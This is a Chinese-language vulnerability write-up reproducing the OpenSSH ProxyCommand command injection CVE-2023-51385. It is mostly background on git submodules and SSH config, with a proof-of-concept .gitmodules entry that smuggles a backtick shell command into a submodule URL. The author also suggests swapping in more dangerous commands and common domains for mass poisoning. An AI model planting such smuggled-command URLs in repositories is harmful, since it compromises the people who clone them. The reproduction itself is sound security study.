CVE-2023-51385(ProxyCommand)
漏洞描述
OpenSSH 是 SSH (Secure SHell) 协议的免费开源实现。SSH 协议族可以用来进行远程控制, 或在计算机之间传送文件。而实现此功能的传统方式,如 telnet(终端仿真协议)、 rcp ftp、 rlogin、rsh 都是极为不安全的,并且会使用明文传送密码。OpenSSH 提供了服务端后台程序和客户端工具,用来加密远程控制和文件传输过程中的数据,并由此来代替原来的类似服务。近日,新华三盾山实验室监测到 OpenSSH 官方发布了安全公告,修复了一个存在于 OpenSSH 中的命令注入漏洞(CVE-2023-51385),攻击者可利用该漏洞注入恶意 Shell 字符导致命令注入。
此漏洞是由于 OpenSSH 中的 ProxyCommand 命令未对%h、%p 或类似的扩展标记进行正确的过滤,攻击者可通过这些值注入恶意 shell 字符进行 命令注入 攻击。
影响版本
- OpenSSH < 9.6
环境配置
-
OpenSSH_8.9p1(必须符合利用范围)
-
Ubuntu 22.04(非必须)
-
修改~/.ssh/config 如下
host *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
漏洞复现
git clone https://github.com/zls1793/CVE-2023-51385_test --recurse-submodules
git clone git@github.com:zls1793/CVE-2023-51385_test.git --recurse-submodules
[! success]
在 clone 恶意文件后,会在目录下生成 cve.txt 文件,内容为 helloworld
[submodule "cve"]
path = cve
url = ssh://`echo helloworld > cve.txt`foo.example.com/bar
恶意文件内容如上
漏洞原理
Git 子模块
有种情况我们经常会遇到:某个工作中的项目需要包含并使用另一个项目。 也许是第三方库,或者你独立开发的,用于多个父项目的库。 现在问题来了:你想要把它们当做两个独立的项目,同时又想在一个项目中使用另一个。
Git 通过子模块来解决这个问题。 子模块允许你将一个 Git 仓库作为另一个 Git 仓库的子目录。 它能让你将另一个仓库克隆到自己的项目中,同时还保持提交的独立。
git clone git@github.com:zls1793/CVE-2023-51385_test.git --recurse-submodules
[! question]
–recurse-submodules 的作用是什么?
在这条命令中,--recurse-submodules
参数的作用是告诉 Git 在克隆主项目的同时递归地初始化并克隆所有子模块。通过使用–recurse-submodules 参数,Git 会自动初始化和更新这些子模块,使得在克隆主项目后可以立即开始使用这些子模块,而不需要手动单独初始化和更新子模块。
[! question]
.gitmodules 文件是什么?
.gitmodules
文件是 Git 用来管理子模块(submodule)的配置文件。一个子模块是指嵌套在另一个 Git 仓库中的一个独立的 Git 仓库。
.gitmodules
文件位于主项目的根目录下,它记录了主项目中所使用的子模块的相关信息,包括子模块的仓库 URL、路径、分支等。通过配置 .gitmodules
文件,你可以将子模块与主项目关联起来,并指定在克隆或更新主项目时如何初始化和更新子模块。
git submodule update --init
[! NOTE]
手动更新和初始化子模块
[! success]
可以看到在手动初始化和更新子模块后,漏洞利用成功
Git 的四种协议
本地协议
其中的远程版本库就是硬盘内的另一个目录。
这常见于团队每一个成员都对一个共享的文件系统(例如一个挂载的 NFS)拥有访问权,或者比较少见的多人共用同一台电脑的情况。 后者并不理想,因为你的所有代码版本库如果长存于同一台电脑,更可能发生灾难性的损失。
git clone /opt/git/project.git
# 或者
$ git clone file:///opt/git/project.git
HTTP协议
Git 通过 HTTP 通信有两种模式。
在 Git 1.6.6 版本之前只有一个方式可用,十分简单并且通常是只读模式的。 Git 1.6.6 版本引入了一种新的、更智能的协议,让 Git 可以像通过 SSH 那样智能的协商和传输数据。 之后几年,这个新的 HTTP 协议因为其简单、智能变的十分流行。 新版本的 HTTP 协议一般被称为“智能” HTTP 协议,旧版本的一般被称为“哑” HTTP 协议。
git clone https://example.com/gitproject.git
SSH协议
架设 Git 服务器时常用 SSH 协议作为传输协议。 因为大多数环境下已经支持通过 SSH 访问 —— 即时没有也比较很容易架设。 SSH 协议也是一个验证授权的网络协议;并且,因为其普遍性,架设和使用都很容易。
通过 SSH 协议克隆版本库,你可以指定一个 ssh:// 的 URL:
git clone ssh://user@server/project.git
或者使用一个简短的 scp 式的写法:
git clone user@server:project.git
你也可以不指定用户,Git 会使用当前登录的用户名。
Git协议
这是包含在 Git 里的一个特殊的守护进程;它监听在一个特定的端口(9418),类似于 SSH 服务,但是访问无需任何授权。
要让版本库支持 Git 协议,需要先创建一个 git-daemon-export-ok 文件 —— 它是 Git 协议守护进程为这个版本库提供服务的必要条件 —— 但是除此之外没有任何安全措施。 要么谁都可以克隆这个版本库,要么谁也不能。
这意味着,通常不能通过 Git 协议推送。 由于没有授权机制,一旦你开放推送操作,意味着网络上知道这个项目 URL 的人都可以向项目推送数据。 不用说,极少会有人这么做。
git: 四种git协议 (本地协议、HTTP 协议、SSH协议、 Git 协议)
SSH配置项
SSH Config 文件地址
OpenSSH 的客户端配置文件名称为 config
,位于用户家目录下的 .ssh
目录。 ~/.ssh
是在运行第一次 ssh
命令的时候自动创建的。如果不存在的话,可以手动创建一下:
mkdir -p ~/.ssh && chmod 700 ~/.ssh
默认情况下,config
配置可能不存在,所以同样可以自己手动创建一下:
touch ~/.ssh/config
该文件必须要是被用户可读可写的,但是不能被其他用户访问:
chmod 600 ~/.ssh/config
SSH Config 文件结构
Host hostname1
SSH_OPTION value
SSH_OPTION value
Host hostname2
SSH_OPTION value
Host *
SSH_OPTION value
config
的结构如上所示,是一块一块的。每一块使用 Host
指令开始,下面是针对其的一些特殊的设置。
缩进其实不是必须的,但是有缩进非常有助于查看。
Host 后面可以是一个或者多个需要匹配的内容(多个使用空格分隔) 可以采用下面这些特殊标识符:
*
匹配 0 或者任意个字符。比如Host *
匹配所有的 Hosts,192.168.0.*
匹配192.168.0.0/24
这个 subnet 下的 IP.?
匹配一个字符。如10.10.0.?
匹配10.10.0.[0-9]
!
取反,即不匹配。比如Host 10.10.0.* !10.10.0.5
匹配10.10.0.0/24
subnet 但是10.10.0.5
除外.
SSH 客户端是从上往下匹配的,因此如果有多个 Host 匹配命中,其中定义的配置参数第一个出现的生效,比如第一个匹配配置组里面有 User
配置,最后匹配到的配置组里面也有,那是第一个匹配到的 User
会被实际使用。所以建议将比较具体的匹配放在上方,通用的放在后面(比如针对某一个 ip 段的放在上面,针对所有的放在最后面)。
可以通过 man ssh_config
或者访问 ssh_config man page 查看有哪些 ssh 的配置项。 ssh 配置通用会被其他应用使用,比如 scp/sftp/rsync。
SSH 配置示例
如果在 config 里面没有任何特殊配置,我们一般会采用如下这个命令来连接我们的主机:
ssh john@dev.example.com -p 2322
那怎么简化我们的连接过程呢,可以在 config 文件里面写下如下配置:
Host dev
HostName dev.example.com
User john
Port 2322
这样我们就可以通过输入 ssh dev
连接我们的主机了。
ssh dev
SSH 配置组合
下面介绍一个关于 Host 匹配和配置优先级更加详细的示例。
Host targaryen
HostName 192.168.1.10
User daenerys
Port 7654
IdentityFile ~/.ssh/targaryen.key
Host tyrell
HostName 192.168.10.20
Host martell
HostName 192.168.10.50
Host *ell
user oberyn
Host * !martell
LogLevel INFO
Host *
User root
Compression yes
- 当我们使用
ssh targaryen
进行连接时。ssh 客户端从文件读取配置,使用第一个配置组的配置Host targaryen
。然后继续向下匹配。下一个匹配的配置组是Host * !martell
(所有的 hosts 但是 martell 除外),因此该配置组内的配置项通用会被使用。最后一个配置组Host *
通用被匹配上,但是这里面只有Compression
配置参数会被使用上。因为User
这个参数在第一个配置组Host targaryen
里面已经定义了(注意优先级)。 那对于我们使用 ssh targaryen 进行连接时实际使用到的配置如下:
HostName 192.168.1.10
User daenerys
Port 7654
IdentityFile ~/.ssh/targaryen.key
LogLevel INFO
Compression yes
- 当使用
ssh tyrell
连接时,匹配到的配置组有:Host tyrell
/Host *ell
/Host * !martell
和Host *
。实际进行连接的配置如下:
HostName 192.168.10.20
User oberyn
LogLevel INFO
Compression yes
- 当使用
ssh martell
, 匹配到的是:Host martell
,Host *ell
和Host *
。 实际进行连接的配置如下::
HostName 192.168.10.50
User oberyn
Compression yes
- 对于其他所有的连接,ssh 客户端会使用到
Host * !martell
和Host *
配置组里面定义的配置。
覆盖 SSH 配置文件
ssh 客户端读取配置采用一下顺序:
- 命令行定义的配置
- 定义在
~/.ssh/config
里的配置 - 定义在
/etc/ssh/ssh_config
的配置
如果想单独覆盖某一个配置项,可以在命令行里指定。比如在配置文件里面有如下配置:
Host dev
HostName dev.example.com
User john
Port 2322
但是我们想在连接的时候使用 root 用户,那我们就可以加上 -o
进行指定:
ssh -o "User=root" dev
另外也可以使用 -F (configfile)
来单独指定一个配置文件。 如果在连接时想忽略任何配置文件里面定义的配置可以使用如下命令:
ssh -F /dev/null user@example.com
Jump Server Configuration
ProxyCommand
通过 ~/.ssh/config 中配置 ProxyCommand
选项来实现跳板效果。
Configuration File
ProxyCommand command
Description
ssh 客户端在连接服务器之前会先使用 command 作为 exec 的参数启动一个进程,接下来把本该发往 ssh 服务器的流量发往该进程的标准输入,并将该进程的标准输出视作 ssh 服务器回复的流量。简单的来说就是通过新启动的进程来连接服务器。
选项的 command 参数支持使用标记符号(TOKEN),支持的符号如下:
TOKEN | Description |
---|---|
%h | 远程服务器地址或域名 |
%p | 远程服务器端口号 |
%r | 远程服务器用户名 |
%% | 字符 ‘%’ |
例如,设置 ProxyCommand nc %h %p
后, ssh user@1.2.3.4 -p 22334
会在连接远程服务器之前启动进程 nc 1.2.3.4 22334
,再将 ssh 流量通过该进程的标准输入输出发送给远程服务器。在这个例子中 nc 并没有起到什么效果。但是通过设置不同的命令,可以通过该选项来实现跳板机机制。
Jump via ProxyCommand
假定跳板机的 ip 地址 1.2.3.4,端口为 12322,实际要连接的远程服务器为 10.0.0.1:23322。我们可以设置 ProxyCommand ssh -W %h:%p -p12322 user@1.2.3.4
。 -W
参数的说明可以见上一篇文章。为方便使用,我们可以在 ~/.ssh/config
中添加跳板机配置:
Host jumpserver
Hostname 1.2.3.4
Port 12322
User user
再添加跳板机后面的实际目标服务器:
Host target
Hostname 10.0.0.1
Port 23322
User user
ProxyCommand ssh -W %h:%p jumpserver
注意 target 配置中的 ProxyCommand 字段使用了前面定义的 jumpserver 来简化配置。接下来可以直接在命令行中执行 ssh target
来一键通过跳板机连接远程服务器。
若想用临时配置,不想修改 ~/.ssh/config
文件,可以执行以下命令来连接远程服务器:
ssh -o'ProxyCommand ssh -W %h:%p -p12322 user@1.2.3.4' -p23322 user@10.0.0.1
ProxyJump
上述方式实现跳板机仍然有些复杂,在较新版本的 openssh(>=7.3) 中可以使用 -J
命令行参数或者 ProxyJump
配置来实现跳板机机制。
CLI Options
ssh -J jump-host[[,jump-host]*]
可以使用逗号来分割多个跳板机,ssh 会顺次通过跳板机来访问远程目标。
Configuration File
ProxyJump jump-host[[,jump-host]*]
同样可以使用逗号来分割多个跳板机。
Jump via ProxyJump
通过该选项可以方便地配置跳板机,假设跳板机和目标的信息和前述例子中的一样。
在 ~/.ssh/config
中添加跳板机配置:
Host jumpserver
Hostname 1.2.3.4
Port 12322
User user
再添加目标服务器配置:
Host target
Hostname 10.0.0.1
Port 23322
User user
ProxyJump jumpserver
现在即可在命令行中执行 ssh target
连接目标服务器。
若想临时通过跳板机 jumpserver
连接某台新服务器 user@10.0.0.2:23333
,可以通过在命令行中执行 ssh -J jumpserver -p23333 user@10.0.0.2
来连接。
漏洞利用点分析
- ~/.ssh/config
host *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
- .gitmodules
[submodule "cve"]
path = cve
url = ssh://`echo helloworld > cve.txt`foo.example.com/bar
[!important]
通过上述分析和前置知识,我们知道:
- config配置项对*.example.com域名使用proxycommand选项,跳板机为192.0.2.0:8080
- 漏洞触发点在于初始化子模块,其中.gitmodules中的恶意payload触发
下面我们来分析整个过程
子模块初始化
在初始化子模块时,根据.gitmodules文件配置
git clone ssh://`echo helloworld > cve.txt`foo.example.com/bar
[!info]
初始化时等同执行这句命令
ProxyCommand触发
host *.example.com
由于主机SSH配置host如上,这会导致SSH将
echo helloworld > cve.txt
foo.example.com
当成一个HOST去传递,并进入ProxyCommand命令行环境
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
其中的%h/%p代表主机名和端口
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 `echo helloworld > cve.txt`foo.example.com %p
ProxyCommand被污染,从而导致命令执行
[!info]
可以看到杂乱字符并不影响反引号中命令执行
[!note]
后续我们可以将命令更换成更有危险性的(如写入计划任务等),并可以将foo.example.com改为xxx.github.com等更加广泛使用的域名(只要是使用ProxyCommand方式连接github的,那么就有可能上钩)
[!important]
该漏洞更适用批量的投毒,而不是精准打击某一用户
修复建议
Update to